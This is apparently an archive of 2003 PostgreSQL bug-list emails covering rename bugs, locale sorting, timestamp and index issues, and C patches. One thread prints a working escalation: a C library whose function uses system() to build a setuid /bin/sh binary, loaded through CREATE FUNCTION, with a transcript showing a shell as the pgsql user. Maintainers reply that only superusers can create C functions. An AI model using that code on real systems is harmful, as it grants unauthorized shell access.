[BUGS] ALTER TABLE table RENAME COLUMN x TO y
PostgreSQL version 7.3.3, GCC 2.96, Redhat 7.2 When issuing the following type of command: ALTER TABLE table RENAME COLUMN x TO y The column name change is not cascading through to RULEs on a VIEW. For example I had a column named "id_security" in TABLE "tbl_valrule" and I had a RULE on a view that stated: CREATE RULE rul_i03 AS ON INSERT TO vu_tbl_valrule DO INSTEAD INSERT INTO tbl_valrule (id_security, id_valmonthend, n_lagdays ) VALUES (new.id_security, new.id_valmonthend, new.n_lagdays ); After issuing the following command: ALTER TABLE tbl_valrule RENAME COLUMN id_security TO id_seclass; The Rule stated above never changed. I noted that the underlying SELECT rule (rule name _RETURN) for the view changed by replacing the column named "id_security" to "id_seclass AS id_security". Regards Donald Fraser Ps. The way I checked that the Rule had changed was by issuing the following command. SELECT r.rulename, pg_get_ruledef(r.oid) AS definition FROM pg_class AS c, pg_rewrite AS r WHERE r.ev_class = c.oid AND c.relname = 'vu_tbl_valrule' ORDER BY r.rulename ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
Re: [BUGS] segmention fault in psql from last cvs (long)
Good shot, after new compilation I haven't any problems. Thank You Pavel Stehule On Thu, 14 Aug 2003, Tom Lane wrote: > Pavel Stehule <[EMAIL PROTECTED]> writes: > > In this morning I actualized my PostgreSQL source from CVS. > > initdb goes without any problems. But createdb puts > > SIGSEGV, createuser, psql too. > > A gdb backtrace would be helpful; tracing isn't very ... > > Also, did you do a "make distclean; configure; make" after updating? > If not, try that first. You *must* do things that way if you don't > use --enable-depend in configure, and personally I don't trust > --enable-depend very much either. > > regards, tom lane > > ---(end of broadcast)--- > TIP 5: Have you checked our extensive FAQ? > >http://www.postgresql.org/docs/faqs/FAQ.html > ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
Re: [BUGS] Partial Indexes condtions
"Donald Fraser" <[EMAIL PROTECTED]> writes: > Not sure whether you classify this as a bug or not? It's a bug --- it's fixed for 7.4. 7.3 has some problems with the timing of constant simplification in queries vs. predicate expressions. I'm surprised you can get it to use the index at all, though, since the system is going to think a condition involving <> is quite unselective. regards, tom lane ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
Re: [BUGS] Slow Query
"systems" <[EMAIL PROTECTED]> writes: > When I ran a query using postgres 7.3.2 it took over 2 hours to run. > I upgraded to version 7.3.4 and the same query takes 5 minutes. And you are filing this as a bug because ... ? regards, tom lane ---(end of broadcast)--- TIP 6: Have you searched our list archives? http://archives.postgresql.org
[BUGS] "Bug" report - Serious (local shell)
POSTGRESQL BUG REPORT TEMPLATE
Your name : Diego Linke
Your email address : [EMAIL PROTECTED]
System Configuration
-
Architecture (example: Intel Pentium) : Intel
Operating System (example: Linux 2.0.26 ELF) : NetBSD 1.6.1_STABLE
PostgreSQL version (example: PostgreSQL-7.3.2): PostgreSQL-7.3.2
Compiler used (example: gcc 2.95.2) : 2.95.3 20010315
Please enter a FULL description of your problem:
The problem is that postgresql when calls a function in external C, calls with user of
the postgres.
A bad user will be able to create binary with shell suid for the user of postgres, and
to assume the control of postgres (pg_hba.conf, bases, postmaster, at last everything
that the user of postgres can make).
I presume that this problem has in all the versions of postgres. :p
See this example:
(work/ttyp2:/tmp/ja_era)> id
uid=1000(gamk) gid=100(users) groups=100(users),0(wheel),5(operator)
(work/ttyp2:/tmp/ja_era)> id pgsql
uid=1001(pgsql) gid=1000(pgsql) groups=1000(pgsql)
(work/ttyp2:/tmp/ja_era)> cat supg.c
main() {
setuid(1001);
setgid(1000);
system("/bin/sh");
}
(work/ttyp2:/tmp/ja_era)> cat func.c
#include
int execute(int x) {
system("gcc -o /tmp/ja_era/supg /tmp/ja_era/supg.c");
system("chmod a+x /tmp/ja_era/supg");
system("chmod u+s /tmp/ja_era/supg");
return(x+1);
}
(work/ttyp2:/tmp/ja_era)> cc -c -fpic func.c
(work/ttyp2:/tmp/ja_era)> cc -o func.so -shared func.o
(work/ttyp2:/tmp/ja_era)> psql teste
Welcome to psql 7.3.2, the PostgreSQL interactive terminal.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit
teste=# CREATE FUNCTION execute (integer) RETURNS integer AS '/tmp/ja_era/func.so'
LANGUAGE C;
CREATE FUNCTION
teste=# SELECT execute(5);
execute
-
6
(1 row)
B
teste=# \q
(work/ttyp2:/tmp/ja_era)> ls -l supg
-rws--x--x 1 pgsql wheel 6029 Aug 14 08:41 supg*
(work/ttyp2:/tmp/ja_era)> ./supg
$ whoami
pgsql
$ id
uid=1000(gamk) euid=1001(pgsql) gid=100(users) groups=100(users),0(wheel),5(operator)
$ touch /tmp/teste
$ ls -l /tmp/teste
-rw-r--r-- 1 pgsql wheel 0 Aug 14 08:42 /tmp/teste
$
--
[ Diego Linke - GAMK ]
System/Network/Security Administrator
E-Mail/Site: [EMAIL PROTECTED] - http://www.gamk.com.br
Public Key: http://www.gamk.com.br/gamk.asc
Phone Number: (+5541) 9967-3464
---(end of broadcast)---
TIP 2: you can get off all lists at once with the unregister command
(send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
Re: [BUGS] Follow up: range query with timestamp returns different result with index than without (7.3.3)
Christian van der Leeden <[EMAIL PROTECTED]> writes: > the reason for this misbehaviour was an invalid timestamp value. > I've tried to dump/restore the db and the restore choked on a > "incorrect timestamp" namely: > 4714-11--2147483624 -2147483648:-2147483648:-2147483648 BC Hmm ... I'm suspecting that that was a "minus infinity" under the hood. Is your installation built with integer timestamps, or floating point? (If you're not sure, try "pg_config --configure" and see if it mentions --enable-integer-datetimes.) Also, is the column in question of type timestamp, or timestamp with time zone? regards, tom lane ---(end of broadcast)--- TIP 4: Don't 'kill -9' the postmaster
Re: [BUGS] range query with timestamp returns different result with index than without (7.3.3)
Christian van der Leeden <[EMAIL PROTECTED]> writes:
> without any index the range query returns the correct result namely
> 272394, when i create an index on creation_date,
> I get 10371 as a result.
This is a tad hard to believe :-(.
Could we see the full schema for the table? ("pg_dump -s -t delivery"
would be best.)
regards, tom lane
---(end of broadcast)---
TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
[BUGS] ALTER TABLE table RENAME TO sould change also sequence name
Postgresql 7.3.4 on Linux. Problem is that when you create a table with serial type, it creates sequence with coresponding name. Then you can grant some rights to it (table and sequence), and after that change table name. From now on you will not be able to restore such database, because name of sequence is not changed. pg_dump dumps databese without CREATE SEQUENCE statements(it marks field as SERIAL so it is automatically created) but with GRANT xxx ON sequence_name TO someone where sequence_name corresponds to first name of the table. So when you try to restore such backup pg_restore will fail. It is not a serious bug (it can be fixed during restoring), but some users may have problem with it. Here is a sample wich illustrates this bug: aaa=# CREATE TABLE test1 (a SERIAL); NOTICE: CREATE TABLE will create implicit sequence 'test1_a_seq' for SERIAL column 'test1.a' CREATE TABLE aaa=# GRANT ALL ON test1 TO PUBLIC; GRANT aaa=# GRANT ALL ON test1_a_seq TO PUBLIC; GRANT aaa=# ALTER TABLE test1 RENAME to test2; ALTER TABLE aaa=# And when you dump such database and try to restore it you will see SET NOTICE: CREATE TABLE will create implicit sequence 'test2_a_seq' for SERIAL column 'test2.a' CREATE TABLE REVOKE GRANT ERROR: Relation "test1_a_seq" does not exist ERROR: Relation "test1_a_seq" does not exist ERROR: Relation "test1_a_seq" does not exist Best regards Mirek Hankus smime.p7s Description: S/MIME Cryptographic Signature
[BUGS] Correct Unicode sorting depends on how initdb was run
Hi there, Recently I stumbled over a very strange problem: I had two very similar setups (RHL9 with latest updates, pgsql-7.3.2, parameters in "show all" the same, databases with encoding=UNICODE, loaded from the same database dump) where the sorting on one was erroneous with regards to accented characters. After hours of fiddling I found out that the erroneous one was initdb'ed with locale set to en_US, while the one correctly sorting was initdb'ed with locale set to en_US.UTF-8. I pg_dumpall'ed the wrong one, redid the initdb with locale set to en_US.UTF-8 and loaded the dumped databases, now the sorting order was correct. Is this expected behaviour (I do not think so)? Nils -- Nils Philippsen/Red Hat/[EMAIL PROTECTED] "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 signature.asc Description: This is a digitally signed message part
[BUGS] pgtcl large object fix
Newer versions of TCL implement ByteArray objects which are the best fit for Postgresql Large Object functions. The change is simple. Here's a diff on the 7.4 source file and a fixed version: diff pgtclCmds.c pgtclCmds.c.fixed 1218c1218 < bufObj = Tcl_NewStringObj(buf, nbytes); --- > bufObj = Tcl_NewByteArrayObj(buf, nbytes); 1310c1310 < buf = Tcl_GetStringFromObj(objv[3], &nbytes); --- > buf = Tcl_GetByteArrayFromObj(objv[3], &nbytes); By making this change, TCL users (like me) can store and retrieve binary objects in the database, like images. And, strings will still work fine, too. -Mahlon Stacy - Mahlon Stacy Internet: [EMAIL PROTECTED] Mayo Foundation(507) 284-4558 Medical Science Bldg 1-43 FAX (507) 284-1632 Rochester, MN 55905 - ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
[BUGS] feature request
hi all it would be good to have RETURNING clause in INSERT,UPDATE,DELETE queries. similar to Oracle's one but more clever. Oracle's "RETURNING" is just a disguised independant SELECT wich is not wanted. i found "RETURNING" usable if it returns just inserted or just deleted record. e.g. i have some DEFAULTS in field declarations and want to see what values actually sot by the last insert. now i forced to call SELECT after insert. ---(end of broadcast)--- TIP 7: don't forget to increase your free space map settings
Re: [BUGS] Postgresql 7.3.3 crashing on query
Philipp Reisner <[EMAIL PROTECTED]> writes:
> strncpy(fstr, (cp + 1), 7);
> + fstr[7]=0;
> strcpy((fstr + strlen(fstr)), "00");
After some looking around, it turns out there was another similar error,
plus several related places where the code was not quite right.
Attached is the full patch I applied against 7.3.4. Many thanks for
pointing out this mistake!
regards, tom lane
Index: datetime.c
===
RCS file: /cvsroot/pgsql-server/src/backend/utils/adt/datetime.c,v
retrieving revision 1.96.2.5
diff -c -r1.96.2.5 datetime.c
*** datetime.c 4 May 2003 04:30:35 - 1.96.2.5
--- datetime.c 5 Aug 2003 17:34:48 -
***
*** 1128,1134
if (*cp != '\0')
return -1;
#ifdef HAVE_INT64_TIMESTAMP
! *fsec = frac * 100;
#else
*fsec = frac;
#endif
--- 1128,1134
if (*cp != '\0')
return -1;
#ifdef HAVE_INT64_TIMESTAMP
! *fsec = rint(frac *
100);
#else
*fsec = frac;
#endif
***
*** 1158,1166
tmask |= DTK_TIME_M;
#ifdef HAVE_INT64_TIMESTAMP
! dt2time((time *
864), &tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#else
! dt2time((time *
86400), &tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#endif
}
break;
--- 1158,1168
tmask |= DTK_TIME_M;
#ifdef HAVE_INT64_TIMESTAMP
! dt2time((time *
864),
!
&tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#else
! dt2time((time * 86400),
!
&tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#endif
}
break;
***
*** 1835,1843
tmask = DTK_M(SECOND);
if (*cp == '.')
{
! *fsec = strtod(cp,
&cp);
if (*cp != '\0')
return -1;
}
break;
--- 1837,1852
tmask = DTK_M(SECOND);
if (*cp == '.')
{
! double frac;
!
! frac = strtod(cp, &cp);
if (*cp != '\0')
return -1;
+ #ifdef HAVE_INT64_TIMESTAMP
+ *fsec = rint(frac *
100);
+ #else
+ *fsec = frac;
+ #endif
}
break;
***
*** 1863,1871
tmask |= DTK_TIME_M;
#ifdef HAVE_INT64_TIMESTAMP
! dt2time((time *
864), &tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#else
! dt2time((time *
86400), &tm->tm_hour, &tm->tm_min, &tm->tm_sec, fsec);
#endif
}
break;
--- 18
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - --On Tuesday, August 12, 2003 08:47:08 AM -0700 Stephan Szabo <[EMAIL PROTECTED] .bigpanda.com> wrote: On Tue, 12 Aug 2003, Kevin Houle wrote: >> There is an email attachment (md5: 5cc780da645df9516235d43d1cf1e8b5) >> which contains a file with two SQL INSERT commands to insert two rows >> into a test table. The table should look like this: >> >> CREATE TABLE tbl_test ( >> testcol text, >> unique (testcol) >> ); >> >> The databases in my testing are using SQL_ASCII encoding. > > I don't receive an error on my 7.3.4 system, what locale is the > database initialized in? I'm using defaults, so on RH9 it is: /var/lib/pgsql/initdb.i18n: LANG="en_US.UTF-8" Okay, I see it with en_US.UTF-8, but not with C locale, nor with en_US or en_US.iso885915. It looks like the comparison rules are different between the locales (and I'm not sure if SQL_ASCII encoding and a UTF8 locale makes sense in practice). Good point. I don't see the behavior with locale=en_US, either. I'll use that as a work-around. Probably a few other RH9 users out there getting into the same situation using the PGDG and Red Hat RPMS. I appreciate your taking the time to look at this. Cheers, Kevin -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/ORu7u/NTC+XTbEkRAiwlAKCkqpPyQX7mLXx5iKMAAf7v03t6JwCfUvIB qL8Xz60qXwigV/LnzkGTM8M= =Q0iV -END PGP SIGNATURE- ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
[BUGS] UNIQUE INDEX difference between 7.2 and 7.3
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Your name : Kevin Houle Your email address : [EMAIL PROTECTED] System Configuration - -- Architecture : i686 Operating System : RH9, 2.4.20-19 PostgreSQL version : PostgreSQL-7.3.4 (RPMS from PGDG) Please enter a FULL description of your problem: - - There is an email attachment (md5: 5cc780da645df9516235d43d1cf1e8b5) which contains a file with two SQL INSERT commands to insert two rows into a test table. The table should look like this: CREATE TABLE tbl_test ( testcol text, unique (testcol) ); The databases in my testing are using SQL_ASCII encoding. Executing the two attached INSERT statements produces a duplicate key error on PostgreSQL 7.3.2 (as distributed by Red Hat) and 7.3.4 (as distributed by PGDG). Running on PostgreSQL 7.2.4 (PGDG) under RH7.3, these two INSERTs work flawlessly. In all tests, I've executed the INSERTs using psql -d dbname -f filename.sql The values in the two INSERTs are unicode filenames and they are different. Something seems to have changed between 7.2 and 7.3 with regard to how the values are handled, but I cannot find anything in the docs to suggest what that change might be. So, I'm reporting it as a bug in case it shouldn't have changed. Regards, Kevin -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/OQM4u/NTC+XTbEkRAjtuAJ9DIFwrmRegc8jFkY/XKNxAjqywzACg3LnV cosGfdzXiqcAhKJ1144Zhq0= =9gDf -END PGP SIGNATURE- file.sql Description: Binary data ---(end of broadcast)--- TIP 6: Have you searched our list archives? http://archives.postgresql.org
Re: [BUGS] Using contrib/fulltext on multiple tables.
I just noticed something about how this is behaving. When I run the script on my machines, it's putting the index data tb_c_ingredient into tb_c_step_fti. If I exit psql, go back in and manually insert, it goes to the correct table tb_c_ingredient_fti. I wrote a much simpler script (see attachment: just 3 tables being indexed, 3 triggers, and 3 index-data tables) and am having the same problem - only all the data is going into the first table's index until I logout and go back in. It may be worth noting the following error if I run the script multiple times in the same psql session: psql:bug.sql:66: ERROR: pg_class_aclcheck: relation 125816 not found psql:bug.sql:67: ERROR: pg_class_aclcheck: relation 125816 not found psql:bug.sql:68: ERROR: pg_class_aclcheck: relation 125816 not found That's happening on the INSERT INTO table1 ...table2 ... and table3 statements. Eric - Original Message - From: "Tom Lane" <[EMAIL PROTECTED]> To: "Eric Johnson" <[EMAIL PROTECTED]> Cc: "Pgsql-Bugs" <[EMAIL PROTECTED]> Sent: Sunday, August 03, 2003 8:29 PM Subject: Re: [BUGS] Using contrib/fulltext on multiple tables. > "Eric Johnson" <[EMAIL PROTECTED]> writes: > > Later in the script when inserting into these tables via stored procedures, > > the full text indexes get created for a and b but not c. It's just empty. > > I can't reproduce this in either 7.3 or CVS tip. The index tables seem > to have reasonable numbers of entries in them after running your script: > > recipe=# select count(*) from tb_c_step_fti; > count > --- > 41 > (1 row) > > recipe=# select count(*) from tb_c_recipe_fti; > count > --- >207 > (1 row) > > recipe=# select count(*) from tb_c_ingredient_fti; > count > --- >103 > (1 row) > > If that wasn't what you meant, you'll need to be more specific. > > regards, tom lane > DROP TRIGGER one_fti_trigger on table1; DROP TRIGGER two_fti_trigger on table2; DROP TRIGGER three_fti_trigger on table3; DROP FUNCTION fti() CASCADE; --DROP INDEX one_fti_string_idx; --DROP INDEX one_fti_id_idx; --DROP INDEX one_fti_oid_idx; --DROP INDEX two_fti_string_idx; --DROP INDEX two_fti_id_idx; --DROP INDEX two_fti_oid_idx; --DROP INDEX three_fti_string_idx; --DROP INDEX three_fti_id_idx; --DROP INDEX three_fti_oid_idx; DROP TABLE table1; DROP TABLE table2; DROP TABLE table3; DROP TABLE table1_fti; DROP TABLE table2_fti; DROP TABLE table3_fti; CREATE FUNCTION fti() RETURNS OPAQUE AS '/usr/lib/postgresql/lib/fti.so' LANGUAGE 'C'; -- Create tables CREATE TABLE table1(id int4, label VARCHAR(64)); CREATE TABLE table2(id int4, label VARCHAR(64)); CREATE TABLE table3(id int4, label VARCHAR(64)); CREATE TABLE table1_fti(string VARCHAR(5120), id oid); CREATE TABLE table2_fti(string VARCHAR(4351), id oid); CREATE TABLE table3_fti(string VARCHAR(1000), id oid); -- Triggers for FTI CREATE TRIGGER "one_fti_trigger" AFTER UPDATE OR INSERT OR DELETE ON table1 FOR EACH ROW EXECUTE PROCEDURE fti(table1_fti, label); CREATE TRIGGER "two_fti_trigger" AFTER UPDATE OR INSERT OR DELETE ON table2 FOR EACH ROW EXECUTE PROCEDURE fti(table2_fti, label); CREATE TRIGGER "three_fti_trigger" AFTER UPDATE OR INSERT OR DELETE ON table3 FOR EACH ROW EXECUTE PROCEDURE fti(table3_fti, label); -- Indexes for FTI --CREATE INDEX one_fti_string_idx ON table1_fti(string); --CREATE INDEX one_fti_id_idx ON table1_fti(id); --CREATE INDEX one_fti_oid_idx ON table1_fti(oid); --CREATE INDEX two_fti_string_idx ON table2_fti(string); --CREATE INDEX two_fti_id_idx ON table2_fti(id); --CREATE INDEX two_fti_oid_idx ON table2_fti(oid); --CREATE INDEX three_fti_string_idx ON table3_fti(string); --CREATE INDEX three_fti_id_idx ON table3_fti(id); --CREATE INDEX three_fti_oid_idx ON table3_fti(oid); INSERT INTO table1 values (1, 'test'); INSERT INTO table2 values (1, 'test'); INSERT INTO table3 values (1, 'test'); ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
[BUGS] Non-standard TIMESTAMP WITH TIME ZONE literal handling
Hello, In Jim Melton and Alan Simon's "SQL:1999 - Understanding Relational Language Components" (ISBN 1-55860-456-1), they write that the following is to be interpreted as a TIMESTAMP WITH TIME ZONE value: TIMESTAMP '2003-07-29 13:19:30.5+02:00' PostgreSQL interprets the above as a TIMESTAMP WITHOUT TIME ZONE value of '2003-07-29 13:19:30.5', i.e. it simply discards the '+02:00' part and fails to interpret it as being of TIMESTAMP WITH TIME ZONE type. Unless Melton+Simon are wrong, PostgreSQL is not completely following SQL:1999 regarding TIMESTAMP-like literal parsing. Furthermore, as Oracle behaves as Melton+Simon describes, subtle, but potentially nasty portability problems can be imagined, hurting people porting to/from Oracle. -- Greetings from Troels Arvin, Copenhagen, Denmark ---(end of broadcast)--- TIP 6: Have you searched our list archives? http://archives.postgresql.org
Re: [BUGS] "Bug" report - Serious (local shell)
Diego Linke - GAMK <[EMAIL PROTECTED]> writes: > The problem is that postgresql when calls a function in external C, > calls with user of the postgres. The ability to create C functions is reserved to superusers, for exactly this reason. If you have the rights to make the backend execute arbitrary C code, you hardly need a shell to do something nasty. In short, this is not a bug. Don't give superuser privileges to people you cannot trust. regards, tom lane ---(end of broadcast)--- TIP 5: Have you checked our extensive FAQ? http://www.postgresql.org/docs/faqs/FAQ.html
Re: [BUGS] Non-standard TIMESTAMP WITH TIME ZONE literal handling
Troels Arvin <[EMAIL PROTECTED]> writes: > In Jim Melton and Alan Simon's "SQL:1999 - Understanding Relational > Language Components" (ISBN 1-55860-456-1), they write that the following > is to be interpreted as a TIMESTAMP WITH TIME ZONE value: > TIMESTAMP '2003-07-29 13:19:30.5+02:00' > PostgreSQL interprets the above as a TIMESTAMP WITHOUT TIME ZONE value of > '2003-07-29 13:19:30.5', i.e. it simply discards the '+02:00' part and > fails to interpret it as being of TIMESTAMP WITH TIME ZONE type. That's true, and I think we are unlikely to change it. Postgres interprets this construct as a special case of a general datatype_name 'literal string' construction. To allow the contents of the literal to determine the datatype specification would break the general construct completely. regards, tom lane ---(end of broadcast)--- TIP 3: if posting/reading through Usenet, please send an appropriate subscribe-nomail command to [EMAIL PROTECTED] so that your message can get through to the mailing list cleanly
Re: [BUGS] Correct Unicode sorting depends on how initdb was run
Nils Philippsen writes: > On Mon, 2003-08-11 at 10:49, Peter Eisentraut wrote: > > Nils Philippsen writes: > > > > > Is this expected behaviour > > > > Yes. > > Hmm. I ask myself whether this is desired behaviour, too. No, but it will take a lot of work to fix this, such as implementing our own locale library. -- Peter Eisentraut [EMAIL PROTECTED] ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
[BUGS] Partial Indexes condtions
PostgreSQL 7.3.3, GCC 2.96 on Redhat 7.2 Not sure whether you classify this as a bug or not? Anyway here goes: I have a partial index such as: CREATE UNIQUE INDEX tbl_test_key ON tbl_test USING btree (s_mnem) WHERE ((n_status & (~9)) <> 0); I have a select statement such as: SELECT s_mnem FROM tbl_test WHERE (n_status & (~9) <> 0); It doesn't matter what I do (including SET enable_seqscan TO OFF) Explain shows that the planner always chooses a sequential scan. Now if I change the partial index to the following: CREATE UNIQUE INDEX tbl_test_key ON tbl_test USING btree (s_mnem) WHERE ((n_status & -10) <> 0); Note: the binary inverse of 9 is -10. Explain shows that the planner now chooses to use the partial index? Regards Donald Fraser.
[BUGS] Follow up: range query with timestamp returns different result with index than without (7.3.3)
Just a followup: the reason for this misbehaviour was an invalid timestamp value. I've tried to dump/restore the db and the restore choked on a "incorrect timestamp" namely: 4714-11--2147483624 -2147483648:-2147483648:-2147483648 BC (out of the dump file) After I've elimnated the lines containing this value, and successfully restoring the db, the transcript below worked fine (w/o/ problems) Don't know how the values got there in the first place (everything in the db was created through a java app through JDBC) Christian P.S.: The db was created with 7.2.3 and then upgraded to 7.3.3 (now 7.3.4) On Thursday, August 7, 2003, at 08:52 AM, Christian van der Leeden wrote: Hi, I'm have the following query: select count(*) from delivery where "creation_date" <= TIMESTAMP '2003-04-01 00:00:00' and "creation_date" > TIMESTAMP '2003-03-01 00:00:00'; without any index the range query returns the correct result namely 272394, when i create an index on creation_date, I get 10371 as a result. I'm using 7.3.3 on Linux (gentoo). Any help appreciated, if you need more information I'm happy to provide it. Here is a transcript: gaiaperformance=> select count(*) from delivery where "creation_date" <= TIMESTAMP '2003-04-01 00:00:00' and "creation_date" > TIMESTAMP '2003-03-01 00:00:00'; count 272394 (1 row) gaiaperformance=> create index creation_date_ind on delivery (creation_date); CREATE INDEX gaiaperformance=> select count(*) from delivery where "creation_date" <= TIMESTAMP '2003-04-01 00:00:00' and "creation_date" > TIMESTAMP '2003-03-01 00:00:00'; count --- 10371 (1 row) christian -- Christian van der Leeden Logic United GmbH Tel: 089-189488-66 Mob: 0163-3747111 www.logicunited.com -- Christian van der Leeden Logic United GmbH Tel: 089-189488-66 Mob: 0163-3747111 www.logicunited.com -- Christian van der Leeden Logic United GmbH Tel: 089-189488-66 Mob: 0163-3747111 www.logicunited.com BEGIN:VCARD VERSION:3.0 N:van der Leeden;Christian;;; FN:Christian van der Leeden ORG:Logic United GmbH; TITLE:Software Engineering EMAIL;type=HOME;type=pref:[EMAIL PROTECTED] EMAIL;type=HOME:[EMAIL PROTECTED] TEL;type=WORK;type=pref:+49-89-189488-66 TEL;type=CELL:+49-163-3747111 ADR;type=WORK;type=pref:;;Brecherspitzstrasse 8;Muenchen;;81541;Germany URL:www.logicunited.com END:VCARD ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
Re: [BUGS] "Bug" report - Serious (local shell)
On Thu, 14 Aug 2003, Diego Linke - GAMK wrote: > Your name : Diego Linke > Your email address : [EMAIL PROTECTED] > > System Configuration > - > Architecture (example: Intel Pentium) : Intel > > Operating System (example: Linux 2.0.26 ELF) : NetBSD 1.6.1_STABLE > > PostgreSQL version (example: PostgreSQL-7.3.2): PostgreSQL-7.3.2 > > Compiler used (example: gcc 2.95.2) : 2.95.3 20010315 > > Please enter a FULL description of your problem: > > > The problem is that postgresql when calls a function in external C, > calls with user of the postgres. > A bad user will be able to create binary with shell suid for the user > of postgres, and to assume the control of postgres (pg_hba.conf, > bases, postmaster, at last everything that the user of postgres can > make). Only a bad database superuser should be able to do anything of the sort because normal users shouldn't be allowed to use CREATE FUNCTION with C language functions (it's untrusted), are you seeing something different? ---(end of broadcast)--- TIP 5: Have you checked our extensive FAQ? http://www.postgresql.org/docs/faqs/FAQ.html
Re: [BUGS] Follow up: range query with timestamp returns different result with index than without (7.3.3)
Hi, I've put the database dump here: http://www.vanderleeden.de/test/databasedumps.tar (about 16 MB) It contains the ascii dump of pg_dump and the pg_dump --format c of the database. I've only got the dumps left of the original problem, since during my tries to remedy the problem (upgrade to 7.3.4 with initdb and restore) the restore failed and I don't have the original db saved... The db itself (only speaking for the current 7.3.4 build), is not configured with enabled-integer-datetimes. Creation date is defined as: creation_date | timestamp without time zone | not null CU Christian On Thursday, August 7, 2003, at 04:23 PM, Tom Lane wrote: Christian van der Leeden <[EMAIL PROTECTED]> writes: the reason for this misbehaviour was an invalid timestamp value. I've tried to dump/restore the db and the restore choked on a "incorrect timestamp" namely: 4714-11--2147483624 -2147483648:-2147483648:-2147483648 BC Hmm ... I'm suspecting that that was a "minus infinity" under the hood. Is your installation built with integer timestamps, or floating point? (If you're not sure, try "pg_config --configure" and see if it mentions --enable-integer-datetimes.) Also, is the column in question of type timestamp, or timestamp with time zone? regards, tom lane -- Christian van der Leeden Logic United GmbH Tel: 089-189488-66 Mob: 0163-3747111 www.logicunited.com BEGIN:VCARD VERSION:3.0 N:van der Leeden;Christian;;; FN:Christian van der Leeden ORG:Logic United GmbH; TITLE:Software Engineering EMAIL;type=HOME;type=pref:[EMAIL PROTECTED] EMAIL;type=HOME:[EMAIL PROTECTED] TEL;type=WORK;type=pref:+49-89-189488-66 TEL;type=CELL:+49-163-3747111 ADR;type=WORK;type=pref:;;Brecherspitzstrasse 8;Muenchen;;81541;Germany URL:www.logicunited.com END:VCARD ---(end of broadcast)--- TIP 4: Don't 'kill -9' the postmaster
Re: [BUGS] Correct Unicode sorting depends on how initdb was run
On Mon, 2003-08-11 at 10:49, Peter Eisentraut wrote: > Nils Philippsen writes: > > > Is this expected behaviour > > Yes. Hmm. I ask myself whether this is desired behaviour, too. Given that this isn't obviously documented (at least I didn't find it), I'd expect sort order to be dependent on server_encoding or client_encoding, but not on a locale setting that was present at initialisation of the database structures (and which isn't changeable except by dump&reload). Nils -- Nils Philippsen/Red Hat/[EMAIL PROTECTED] "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 signature.asc Description: This is a digitally signed message part
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
On Tue, 12 Aug 2003, Kevin Houle wrote: > System Configuration > - -- > Architecture : i686 > > Operating System : RH9, 2.4.20-19 > > PostgreSQL version : PostgreSQL-7.3.4 (RPMS from PGDG) > > Please enter a FULL description of your problem: > - - > > There is an email attachment (md5: 5cc780da645df9516235d43d1cf1e8b5) > which contains a file with two SQL INSERT commands to insert two rows > into a test table. The table should look like this: > > CREATE TABLE tbl_test ( > testcol text, > unique (testcol) > ); > > The databases in my testing are using SQL_ASCII encoding. I don't receive an error on my 7.3.4 system, what locale is the database initialized in? ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
Re: [BUGS] UNION discards indentical rows in postgres 7.3.3
On Thu, 7 Aug 2003, Silvio Scarpati wrote: > this seems a serious bug: > > testdb=> > testdb=> create table t1(a int, b text); > CREATE TABLE > testdb=> create table t2(a int, b text); > CREATE TABLE > testdb=> insert into t1 values(1,'pippo'); > INSERT 7591667 1 > testdb=> insert into t1 values(2,'pluto'); > INSERT 7591668 1 > testdb=> insert into t2 values(3,'paperino'); > INSERT 7591669 1 > testdb=> insert into t2 values(3,'paperino'); > INSERT 7591670 1 > > select a,b from t1 union (select a,b from t2); > a |b > ---+-- > 1 | pippo > 2 | pluto > 3 | paperino > (3 rows) > > Wrong ! The query should return 4 rows. In other words i don't know > why postgres performs the following query: > > select a,b from t1 union (select DISTINCT a,b from t2); > > instead of the required one. That is the required resultset. Union is required to do return only one copy of a row when there are duplicates of a row. Union all returns a number of copies equal to the number of duplicates. ---(end of broadcast)--- TIP 5: Have you checked our extensive FAQ? http://www.postgresql.org/docs/faqs/FAQ.html
[BUGS] 7.4 beta 1: SET log_statement=false
Non superusers can set log_statement to true but can't set it
back to false even if log_statement was false at the begining of a
connection.
I think lambda users should be able to revert log_statement to
false when false is the default setting.
--
%!PS
297.6 420.9 translate 90 rotate 0 setgray gsave 0 1 1{pop 0 180 moveto 100
180 170 100 170 -10 curveto 180 -9 180 -9 190 -10 curveto 190 100 100 180
